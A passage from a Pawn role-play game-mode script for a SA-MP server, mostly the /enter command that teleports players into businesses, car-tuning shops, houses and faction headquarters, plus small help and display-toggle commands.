				SCM(playerid,COLOR_SINAGAMER,"Error: PrisonBreak is disabled right now.");
				}
			 } else return SendClientMessage(playerid, COL_SYN, "Error: You are not at jail.");
	   return 1;
	}*/
	// End
	// Farar System Successfuly Added by Sina








/*

			if(strcmp(cmd, "/ts", true) == 0 || strcmp(cmd, "/teamspeak", true) == 0)
		{
		SCM(playerid,COLOR_LIGHTBLUE,"{00ECEC}Team Speak IP{FFFFFF}: {BBF060}93.115.150.117");
		return 1;
		}
		if(strcmp(cmd, "/ucp", true) == 0 || strcmp(cmd, "/usercontrolpanel", true) == 0)
		{
		SCM(playerid,COLOR_LIGHTBLUE,"{00ECEC}UCP Address{FFFFFF}: {BBF060}http://SAMP.AzinGame.iR/");
		return 1;
		}
		if(strcmp(cmd, "/telegram", true) == 0 || strcmp(cmd, "/channel", true) == 0)
		{
		SCM(playerid,COLOR_LIGHTBLUE,"{00ECEC}Telegram ID{FFFFFF}: {BBF060}@Azin_Game");
		return 1;
		}
		*/
	//===================================================================================================================
	if(strcmp(cmd, "/atmhelp", true) == 0)
	{
	SCM(playerid,COLOR_LIGHTGREEN, "|_____________[Atm help]____________|");
	SCM(playerid,COLOR_WHITE, "Help: /atmwithdraw, /atmbalance");
	return 1;
	}

	if(strcmp(cmd, "/nsh", true) == 0)
	{
	if(NSH[playerid] == 1) {
	PlayerTextDrawHide(playerid, TD_PlayerName[playerid]);
	NSH[playerid] = 0;
	}
	else if(NSH[playerid] == 0) {
	PlayerTextDrawShow(playerid, TD_PlayerName[playerid]);
	NSH[playerid] = 1;
	}
	return 1;
	}
	if(strcmp(cmd, "/td", true) == 0)
	{
	if(TDD[playerid] == 1) {
	//TextDrawHideForPlayer(playerid, Clock1);
	//TextDrawHideForPlayer(playerid, Day1);
	//TextDrawHideForPlayer(playerid, pingtd[playerid]);
	TextDrawHideForPlayer(playerid,Date);
	TextDrawHideForPlayer(playerid,Time);
	TDD[playerid] = 0;
	}
	else if(TDD[playerid] == 0) {
	//TextDrawShowForPlayer(playerid, Clock1);
	//TextDrawShowForPlayer(playerid, Day1);
	//TextDrawShowForPlayer(playerid, pingtd[playerid]);
	TextDrawShowForPlayer(playerid,Date);
	TextDrawShowForPlayer(playerid,Time);
	TDD[playerid] = 1;
	}
	return 1;
	}
	if(strcmp(cmd, "/enter", true) == 0)
	 {
	if(IsPlayerConnected(playerid))
	{
	if(InSleep[playerid] == 1)
	{
	return 1;
	}
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0)
	{
	return 1;
	}
	if(CouldUseCMD[playerid] != 0) return 1;
	new InVeh = 0;
	if(IsPlayerInAnyVehicle(playerid)) InVeh = 1;
	if(PlayerToPoint(2.0, playerid, 193.368545,1931.499145,17.640625) && GetPlayerVirtualWorld(playerid) == 10)
	{
	if(InVeh != 1)
	{
	SetPlayerPos(playerid, 1757.300292,-1539.745361,1993.670043);
	SetPlayerInterior(playerid,0);
	SetPlayerVirtualWorld(playerid, 10);
	FreezePlayer(playerid);
	}
	return 1;
	}
	if(IsPlayerInRangeOfPoint(playerid,5.0,SBizzInfo[16][sbEntranceX],SBizzInfo[16][sbEntranceY],SBizzInfo[16][sbEntranceZ]))
	{
	if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER||OwnedMashin[GetPlayerVehicleID(playerid)]==1&&MashinOwner[GetPlayerVehicleID(playerid)]!=playerid||GetPlayerVehicleID(playerid) <= akharinvehicle)return 1;
	new veh=GetPlayerVehicleID(playerid);
	SetPlayerVirtualWorld(playerid, playerid+1);
	SetVehicleVirtualWorld(veh, playerid+1);
	SetVehiclePos(veh, 661.570434, -1554.874511, -21.049060+2);
	SetPlayerPos(playerid, 661.570434, -1554.874511, -21.049060);
	SetVehicleZAngle(veh, -90);
	PutPlayerInVehicle(playerid, veh, 0);
	ShowSBiz16Tuning(playerid);
	SetCameraToTuning(playerid);
	SCM(playerid, COLOR_Good, "Tip: You can exit from tuning with key 'ESC'");
	SelectTextDraw(playerid, COLOR_SINAGHERMEZ);
	}
	if(IsPlayerInRangeOfPoint(playerid,5.0,SBizzInfo[17][sbEntranceX],SBizzInfo[17][sbEntranceY],SBizzInfo[17][sbEntranceZ]))
	{
	if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER||OwnedMashin[GetPlayerVehicleID(playerid)]==1&&MashinOwner[GetPlayerVehicleID(playerid)]!=playerid||GetPlayerVehicleID(playerid) <= akharinvehicle)return 1;
	new veh=GetPlayerVehicleID(playerid);
	SetPlayerVirtualWorld(playerid, playerid+1);
	SetVehicleVirtualWorld(veh, playerid+1);
	SetVehiclePos(veh, 661.570434, -1554.874511, -21.049060+2);
	SetPlayerPos(playerid, 661.570434, -1554.874511, -21.049060);
	SetVehicleZAngle(veh, -90);
	PutPlayerInVehicle(playerid, veh, 0);
	ShowSBiz17Tuning(playerid);
	SetCameraToTuning(playerid);
	SCM(playerid, COLOR_Good, "Tip: You can exit from tuning with key 'ESC'");
	SelectTextDraw(playerid, COLOR_SINAGHERMEZ);
	}
	if(IsPlayerInRangeOfPoint(playerid,5.0,SBizzInfo[18][sbEntranceX],SBizzInfo[18][sbEntranceY],SBizzInfo[18][sbEntranceZ]))
	{
	if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER||OwnedMashin[GetPlayerVehicleID(playerid)]==1&&MashinOwner[GetPlayerVehicleID(playerid)]!=playerid||GetPlayerVehicleID(playerid) <= akharinvehicle)return 1;
	new veh=GetPlayerVehicleID(playerid);
	SetPlayerVirtualWorld(playerid, playerid+1);
	SetVehicleVirtualWorld(veh, playerid+1);
	SetVehiclePos(veh, 661.570434, -1554.874511, -21.049060+2);
	SetPlayerPos(playerid, 661.570434, -1554.874511, -21.049060);
	SetVehicleZAngle(veh, -90);
	PutPlayerInVehicle(playerid, veh, 0);
	ShowSBiz18Tuning(playerid);
	SetCameraToTuning(playerid);
	SCM(playerid, COLOR_Good, "Tip: You can exit from tuning with key 'ESC'");
	SelectTextDraw(playerid, COLOR_SINAGHERMEZ);
	}
	if(IsPlayerInRangeOfPoint(playerid,5.0,SBizzInfo[19][sbEntranceX],SBizzInfo[19][sbEntranceY],SBizzInfo[19][sbEntranceZ]))
	{
	if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER||OwnedMashin[GetPlayerVehicleID(playerid)]==1&&MashinOwner[GetPlayerVehicleID(playerid)]!=playerid||GetPlayerVehicleID(playerid) <= akharinvehicle)return 1;
	new veh=GetPlayerVehicleID(playerid);
	SetPlayerVirtualWorld(playerid, playerid+1);
	SetVehicleVirtualWorld(veh, playerid+1);
	SetVehiclePos(veh, 661.570434, -1554.874511, -21.049060+2);
	SetPlayerPos(playerid, 661.570434, -1554.874511, -21.049060);
	SetVehicleZAngle(veh, -90);
	PutPlayerInVehicle(playerid, veh, 0);
	ShowSBiz19Tuning(playerid);
	SetCameraToTuning(playerid);
	SCM(playerid, COLOR_Good, "Tip: You can exit from tuning with key 'ESC'");
	SelectTextDraw(playerid, COLOR_SINAGHERMEZ);
	}
	if(IsPlayerInRangeOfPoint(playerid,5.0,SBizzInfo[20][sbEntranceX],SBizzInfo[20][sbEntranceY],SBizzInfo[20][sbEntranceZ]))
	{
	if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER||OwnedMashin[GetPlayerVehicleID(playerid)]==1&&MashinOwner[GetPlayerVehicleID(playerid)]!=playerid||GetPlayerVehicleID(playerid) <= akharinvehicle)return 1;
	new veh=GetPlayerVehicleID(playerid);
	SetPlayerVirtualWorld(playerid, playerid+1);
	SetVehicleVirtualWorld(veh, playerid+1);
	SetVehiclePos(veh, 661.570434, -1554.874511, -21.049060+2);
	SetPlayerPos(playerid, 661.570434, -1554.874511, -21.049060);
	SetVehicleZAngle(veh, -90);
	PutPlayerInVehicle(playerid, veh, 0);
	ShowSBiz20Tuning(playerid);
	SetCameraToTuning(playerid);
	SCM(playerid, COLOR_Good, "Tip: You can exit from tuning with key 'ESC'");
	SelectTextDraw(playerid, COLOR_SINAGHERMEZ);
	}
	if(IsPlayerInRangeOfPoint(playerid,6.0,SBizzInfo[10][sbEntranceX],SBizzInfo[10][sbEntranceY],SBizzInfo[10][sbEntranceZ]))
	{
	if(InVeh != 1)
	{
		if(PINFO[playerid][pGunLic] <= 0) return SCM(playerid,COLOR_YELLOW2,"You haven't Weapon license.");
		if(OnDuty[playerid] != 0) return SCM(playerid,COLOR_YELLOW2,"Error: You are on duty.");
		if(HasWanted(playerid)) return SCM(playerid, COLOR_GG, "Error: You have wanted levels.");
		if(OnPaintBall[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"You already on Paint ball.");
		if(PaintballStarted == 1) {new sttr[256],looOool,miin,secc;for(new i;i<8;i++){if(looOool >= 60) {looOool -= 60;miin++;}if(looOool <= 59){secc = looOool;looOool = 0;break;}}format(sttr,256,"You need to wait %d minutes and %d seconds to paint ball end.",miin,secc);return SCM(playerid,COLOR_SINA3,sttr);}
		OnPaintBall[playerid] = 1;
		ResetPlayerKolang(playerid);
		SetPlayerKoon(true, playerid,100);
		SetSpawnKol(playerid);
		SpawnPlayer(playerid);
		GivePlayerPool(playerid,-SBizzInfo[10][sbEntranceCost]);
		//PaintBallStarting = 1;
		SCM(playerid, COLOR_YELLOW2, "Select a weapon.");
		ShowPlayerDialog(playerid, 4202, DIALOG_STYLE_LIST, "Select a weapon.", "Desert eagle\nSilence Deagle\nShotgun\nSawnoff Shotgun\nCombat Shotgun\nMP5\nSniper Rifle\nAK-47\nM4\nCountry Rifle", "Accept", "");
		SetTimerEx("pbvotet", 10000, 0, "d", playerid);
		hanuzna[playerid] = 1;
	}
	}
	for(new bizid = 0; bizid < sizeof(BizzInfo); bizid++)
			{
			// Spray
	if (PlayerToPoint(4.0, playerid,BizzInfo[bizid][bEntranceX],BizzInfo[bizid][bEntranceY],BizzInfo[bizid][bEntranceZ]))
				{
		if (bizid == 75 || bizid == 76 || bizid == 77 || bizid == 78 || bizid == 79 || bizid == 80) {
		new carid;
		carid = GetPlayerVehicleID(playerid);
		if(!IsPlayerInAnyVehicle(playerid) || GetPlayerState(playerid) !=  PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle or not driver.");
		
		if(GetPlayerPool(playerid) < 100+BizzInfo[bizid][bEntranceCost]) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash for enter to biz.");
		format(string, sizeof(string), "~r~-$%d", BizzInfo[bizid][bEntranceCost]);

	GetVehicleColorX(GetPlayerVehicleID(playerid), vhcolor1[playerid], vhcolor2[playerid]);
	GetVehicleZAngle(GetPlayerVehicleID(playerid), ZAng[playerid]);
	GetVehiclePos(carid, TeleportDest2[playerid][0],TeleportDest2[playerid][1],TeleportDest2[playerid][2]);
	SetVehiclePos(carid, BizzInfo[bizid][bExitX],BizzInfo[bizid][bExitY],BizzInfo[bizid][bExitZ]);
	if(!IsPlayerInAnyVehicle(playerid))PutPlayerInVehicle(playerid, carid, 0);
		if(playerid == 0) {

	SetVehicleVirtualWorld(carid, 2000);

	for( new i = 0; i<Akharish; i++ )
			{
			if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i))
			{
			if(GetPlayerVehicleID(i) == carid)
			{
		   if(GetPlayerVehicleSeat(i) == 0)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 0 );
			}
			else if(GetPlayerVehicleSeat(i) == 1)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 1);
			}
			else if(GetPlayerVehicleSeat(i) == 2)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 2);
			}
			else if(GetPlayerVehicleSeat(i) == 3)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 3);
			}
			else if(GetPlayerVehicleSeat(i) == 4)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 4);
			}
			else if(GetPlayerVehicleSeat(i) == 5)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 5);
			}
			else if(GetPlayerVehicleSeat(i) == 6)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 6);
			}
			else if(GetPlayerVehicleSeat(i) == 7)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 7);
			}
			else if(GetPlayerVehicleSeat(i) == 8)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 8);
			}
			else if(GetPlayerVehicleSeat(i) == 9)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 9);
			}
			else if(GetPlayerVehicleSeat(i) == 10)
			{
			SetPlayerVirtualWorld(i, 2000);
			PutPlayerInVehicle(i, carid, 10);
			}
			}
			}
			}
			}
			if(playerid != 0) {
			 for( new i = 0; i<Akharish; i++ )
			{
			SetVehicleVirtualWorld(carid, playerid);
			if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i))
			{
			if(GetPlayerVehicleID(i) == carid)
			{
		   if(GetPlayerVehicleSeat(i) == 0)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 0 );
			}
			else if(GetPlayerVehicleSeat(i) == 1)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 1);
			}
			else if(GetPlayerVehicleSeat(i) == 2)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 2);
			}
			else if(GetPlayerVehicleSeat(i) == 3)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 3);
			}
			else if(GetPlayerVehicleSeat(i) == 4)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 4);
			}
			else if(GetPlayerVehicleSeat(i) == 5)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 5);
			}
			else if(GetPlayerVehicleSeat(i) == 6)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 6);
			}
			else if(GetPlayerVehicleSeat(i) == 7)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 7);
			}
			else if(GetPlayerVehicleSeat(i) == 8)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 8);
			}
			else if(GetPlayerVehicleSeat(i) == 9)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 9);
			}
			else if(GetPlayerVehicleSeat(i) == 10)
			{
			SetPlayerVirtualWorld(i, playerid);
			PutPlayerInVehicle(i, carid, 10);
			}
			}
			}
			}
			}

		//SetPlayerPos(playerid, BizzInfo[bizid][bExitX],BizzInfo[bizid][bExitY],BizzInfo[bizid][bExitZ]);
		// new strung;

		if(bizid == 75) {
		SetVehicleZAngle(carid ,181.468887);
		SetCameraBehindPlayer(playerid);
		}
		if(bizid == 76) {
		SetCameraBehindPlayer(playerid);
		}
		if(bizid == 77) {
		SetVehicleZAngle(carid ,-10.2600);
		SetCameraBehindPlayer(playerid);
		}
		if(bizid == 78) {
		SetVehicleZAngle(carid ,-89.5200);
		SetCameraBehindPlayer(playerid);
		}
		if(bizid == 79) {
		SetVehicleZAngle(carid ,-177.4800);
		SetCameraBehindPlayer(playerid);
		}
		if(bizid == 80) {
		SetVehicleZAngle(carid ,0.0000);
		SetCameraBehindPlayer(playerid);

		}
		RepairVehicle(GetPlayerVehicleID(playerid));
		new stringer[512];
		GivePlayerPool(playerid,-BizzInfo[bizid][bEntranceCost]);
		format(stringer, sizeof(stringer), "~r~-$%d", BizzInfo[bizid][bEntranceCost]);
		BizzInfo[bizid][bTill] += BizzInfo[bizid][bEntranceCost];
		BizzInfo[bizid][bProducts]--;
		OnBizUpdate(bizid);
		GameTextForPlayer(playerid, stringer, 5000, 1);
		SetTimerEx("spraytime", 5000, 0, "d", playerid);

		return 1;
	}
				if((bizid == 51 || bizid == 52 || bizid == 53)&& !IsACop(playerid))
							{
								if(InVeh != 1)
	{
							SCM(playerid,COLOR_BLUE,"You are not a Cop.");
							}
							return 1;
							}
					if(PlayerInfo[playerid][pPbiskey] == bizid || GetPlayerPool(playerid) >= BizzInfo[bizid][bEntranceCost])
					{
						if(InVeh != 1)
	{
						if(PlayerInfo[playerid][pPbiskey] == bizid)
						{}
						else {
							if(BizzInfo[bizid][bLocked] == 1)
							{
								GameTextForPlayer(playerid, "~r~Closed", 5000, 1);
							return 1;
							}
							if(BizzInfo[bizid][bProducts] == 0)
							{
								GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
							} }
							GivePlayerPool(playerid,-BizzInfo[bizid][bEntranceCost]);
							format(string, sizeof(string), "~r~-$%d", BizzInfo[bizid][bEntranceCost]);
							BizzInfo[bizid][bTill] += BizzInfo[bizid][bEntranceCost];
							BizzInfo[bizid][bProducts]--;
							OnBizUpdate(bizid);
							GameTextForPlayer(playerid, string, 5000, 1);
						SetPlayerInterior(playerid,BizzInfo[bizid][bInterior]);
						SetPlayerPos(playerid,BizzInfo[bizid][bExitX],BizzInfo[bizid][bExitY],BizzInfo[bizid][bExitZ]);
						Mahal[playerid] = 15;
						TooHouse[playerid] = 9999;
						SetPlayerVirtualWorld(playerid,BizzInfo[bizid][bVW]);
						TooBiz[playerid] = bizid;
						FreezePlayer(playerid);
						}
					}
					else
					{
						GameTextForPlayer(playerid, "~r~You dont have the cash", 5000, 1);
					}

		}
	}

	for(new house = 0; house < sizeof(HouseInfo); house++)
			{
	if (PlayerToPoint(2.0, playerid,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz]))
				{
					if(PlayerInfo[playerid][pPhousekey] == house || HouseInfo[house][hLock] == 0)
					{
						if(InVeh != 1)
	{
						SetPlayerInterior(playerid,HouseInfo[house][hInt]);
						SetPlayerVirtualWorld(playerid,HouseInfo[house][hWorld]);
						SetPlayerPos(playerid,HouseInfo[house][hEntrancex],HouseInfo[house][hEntrancey],HouseInfo[house][hEntrancez]);
						Mahal[playerid] = 3;
						TooHouse[playerid] = house;
						TooBiz[playerid] = 9999;
						FreezePlayer(playerid);
						}
					}
					else
					{
						GameTextForPlayer(playerid, "~r~Locked", 5000, 3);
					}
					}
				}
			if (PlayerToPoint(2, playerid, 1554.9100,-1675.6428,16.1953))//LSPD
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,246.5325,62.4251,1003.6406);
				SetPlayerInterior(playerid,6);
				GameTextForPlayer(playerid, "~w~Police Departament", 1000, 1);
				Mahal[playerid] = 5;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				FreezePlayer(playerid);
				}
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 2287.0576,2432.1121,10.8203))//fbi
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,288.7609,168.6815,1007.1719);
				SetPlayerInterior(playerid,3);
				Mahal[playerid] = 6;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				GameTextForPlayer(playerid, "~w~ Drug Enforcement Administration", 1000, 1);
				FreezePlayer(playerid);
				}
				return 1;
			}
			else if(PTP(2, playerid, 1570.3828,-1333.8882,16.4844))
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,1541.300170,-1360.734619,329.460815)
				GameTextForPlayer(playerid, "~r~LS~n~Tower!", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				FreezePlayer(playerid);
				}
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 1481.0289,-1770.9703,18.7958))//LS City Hall
			{
				if(InVeh != 1)
	{
				SetPlayerVirtualWorld(playerid, 55);
				SetPlayerPos(playerid,386.5196,173.6847,1008.3828);
				SetPlayerInterior(playerid,3);
				Mahal[playerid] = 4;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				GameTextForPlayer(playerid, "~w~Los Santos ~b~City Hall", 1000, 1);
				FreezePlayer(playerid);
				}
				return 1;
			}
			else if (PlayerToPoint(5.0, playerid, 306.400939,-159.116806,999.593750))//GSSF
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,301.684722,-166.265716,999.610534);
				SetPlayerInterior(playerid,6);
				FreezePlayer(playerid);
				}
				return 1
			}
			else if (PlayerToPoint(2, playerid, 298.278991,-168.970382,999.593750))//GSSF
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,298.278991,-168.970382,999.593750);
				SetPlayerInterior(playerid,6);
				FreezePlayer(playerid);
				}
				return 1
			}
			else if (PlayerToPoint(5.0, playerid, 305.3564,-141.8755,1004.0625))//GSLS
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,303.9991,-141.7700,1004.0625);
				SetPlayerInterior(playerid,7);
				FreezePlayer(playerid);
				}
				return 1
			}
			else if (PlayerToPoint(2, playerid, 300.1706,-141.8950,1004.0625))//GSLS
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,298.5961,-141.8859,1004.0547);
				SetPlayerInterior(playerid,7);
				FreezePlayer(playerid);
				}
				return 1
			}
			else if (PlayerToPoint(2, playerid, 301.7390,-77.3810,1001.5156))//GSLV
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,301.6781,-74.9160,1001.5156);
				SetPlayerInterior(playerid,4);
				FreezePlayer(playerid);
				}
				return 1
			}
			else if (PlayerToPoint(2, playerid, 302.9118,-57.6741,1001.5156))//GSLV
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,304.5474,-57.6247,1001.5156);
				SetPlayerInterior(playerid,4);
				FreezePlayer(playerid);
				}
				return 1
			}
			/*else if(PTP(2,playerid,1797.442504,-1578.950683,14.085444))//JAil LS
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid,1803.498168, -1553.533691, 2001.493652);
				SetPlayerVirtualWorld(playerid,10);
				SetPlayerFacingAngle(playerid,90);
				SetPlayerInterior(playerid, 1);
				Mahal[playerid] = 2;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				FreezePlayer(playerid);
				}
				return 1;
			}*/

			else if(PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15)// VLA entrance
			{
				if (PlayerToPoint(5, playerid, 2792.930175,-1087.530761,30.718750))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid ,1701.530639, -1667.804565, 20.218750);
					SetPlayerVirtualWorld(playerid, 40015);
					SetPlayerInterior(playerid, 18);
					GameTextForPlayer(playerid, "~r~Storm Men ~y~Family ~g~HQ",5000,1);
					Mahal[playerid] = 11;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}

			else if(PlayerInfo[playerid][pMember] == 12 || PlayerInfo[playerid][pLeader] == 12)// Grove Street entrance
			{
				if (PlayerToPoint(2, playerid, 2637.1936,2352.0090,10.8203))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
					SetPlayerVirtualWorld(playerid, 40012);
					SetPlayerInterior(playerid, 5);
					GameTextForPlayer(playerid, "~r~Dangerous Tiger ~y~Family ~g~HQ",5000,1);
					Mahal[playerid] = 12;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PTP(5,playerid,1769.327392,-1542.691162,2001.300415) && GetPlayerVirtualWorld(playerid) == 10)//Jail /enter too
			{
				if(IsACop(playerid) || (IsAHacker(playerid) && ImHackedGates[playerid] == 1) || ICanFree[playerid] == 1)
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid,1767.936523,-1542.816650,2001.300415);
					FreezePlayer(playerid);
					}
					return 1;
				}
				else return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
			}
			else if(PlayerInfo[playerid][pMember] == 14 || PlayerInfo[playerid][pLeader] == 14)// TBF entrance
			{
				if (PlayerToPoint(2, playerid,1455.4546,750.9794,11.0234))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 2324.611328, -1146.620605, 1050.710083);
					SetPlayerInterior(playerid, 12);
					SetPlayerVirtualWorld(playerid, 40014);
					Mahal[playerid] = 8;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					GameTextForPlayer(playerid, "~r~Fast N Furious ~y~Family ~g~HQ",5000,1);
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 13 || PlayerInfo[playerid][pLeader] == 13)// Vagos entrance
			{
				if (PlayerToPoint(2, playerid, 1122.7065,-2037.0063,69.8942))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 1701.530639, -1667.804565, 20.218750);
					SetPlayerInterior(playerid, 18);
					SetPlayerVirtualWorld(playerid, 40013);
					Mahal[playerid] = 13;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					GameTextForPlayer(playerid, "~r~Legendary Men ~y~Family ~g~HQ",5000,1);
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 17 || PlayerInfo[playerid][pLeader] == 17)// Hacker entrance
			{
				if (PlayerToPoint(2, playerid, 852.4714,-1436.4944,15.0437))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 373.697601, 106.429779, 1027.251220);
					SetPlayerInterior(playerid, 0);
					SetPlayerVirtualWorld(playerid, 40017);
					Mahal[playerid] = 1685;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					GameTextForPlayer(playerid, "~r~Unknowns ~g~HQ",5000,1);
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 5 || PlayerInfo[playerid][pLeader] == 5)// Da Nang Boys entrance
			{
				if (PlayerToPoint(2, playerid,725.5550,-1451.0232,17.6953))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 140.279296, 1367.209716, 1083.861206);
					SetPlayerInterior(playerid, 5);
					SetPlayerVirtualWorld(playerid, 4005);
					Mahal[playerid] = 7;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					GameTextForPlayer(playerid, "~r~The Silence ~y~Mafia ~g~HQ",5000,1);
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pLeader] == 6)// Triads entrance
			{
				if (PlayerToPoint(2, playerid,1456.7424,2773.4614,10.8203))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
					SetPlayerInterior(playerid, 5);
					SetPlayerVirtualWorld(playerid, 4006);
					GameTextForPlayer(playerid, "~r~The Killers ~y~Family ~g~HQ",5000,1);
					Mahal[playerid] = 9;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 8 || PlayerInfo[playerid][pLeader] == 8)// Hitman entrance
			{
				if (PlayerToPoint(2, playerid,1080.997192,-345.408233,73.984069))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 1701.744262,-1667.856689,20.218750);
					SetPlayerVirtualWorld(playerid, 54);
					SetPlayerInterior(playerid, 18);
					GameTextForPlayer(playerid, "~r~Hitman ~y~Agency ~g~HQ",5000,1);
					Mahal[playerid] = 10;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
					}
					else { return 1; }
			}
			else if (PlayerToPoint(5, playerid,2802.8596,2430.6089,11.0625))//VICTIM LV
			{
				if(InVeh != 1)
	{
				SetPlayerPos(playerid, 226.293991,-7.431529,1002.210937);
				SetPlayerVirtualWorld(playerid, 67);
				SetPlayerInterior(playerid, 5);
				GameTextForPlayer(playerid, "~r~Welcome ~y~to ~b~Victim",5000,1);
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				FreezePlayer(playerid);
				}
				return 1;
			}
			else if(PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10)// Taxi entrance LAS Venturas
			{
				if (PlayerToPoint(5, playerid,937.3935,1733.2067,8.8516))
				{
					if(InVeh != 1)
	{
					SetPlayerPos(playerid, 1494.325195,1304.942871,1093.289062);
					SetPlayerInterior(playerid, 3);
					SetPlayerVirtualWorld(playerid, 70);
					GameTextForPlayer(playerid, "~w~Taxi Cab Company ~g~HQ",5000,1);
					Mahal[playerid] = 14;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
				}
				else { return 1; }
			}
			else if(PlayerInfo[playerid][pMember] == 4 || PINFO[playerid][pLeader] == 4)
			{
			   if(PTP(5,playerid,1607.520996,1815.756591,10.820312))
			   {
			   	if(InVeh != 1)
	{
			   SetPlayerPos(playerid,1494.325195,1304.942871,1093.289062);
			   SetPlayerInterior(playerid,3);
			   SetPlayerVirtualWorld(playerid,71);
			   GameTextForPlayer(playerid,"~r~Welcome to HQ",5000,1);
			   Mahal[playerid] = 70;
			   TooHouse[playerid] = 9999;
			   TooBiz[playerid] = 9999;
			   FreezePlayer(playerid);
			   }
			   return 1;
			   }
			   else { return 1; }
			}
			else if(PINFO[playerid][pMember] == 9 || PINFO[playerid][pLeader] == 9)
			{
				if(PTP(2,playerid,-329.8395,1536.6249,76.6117))
				{
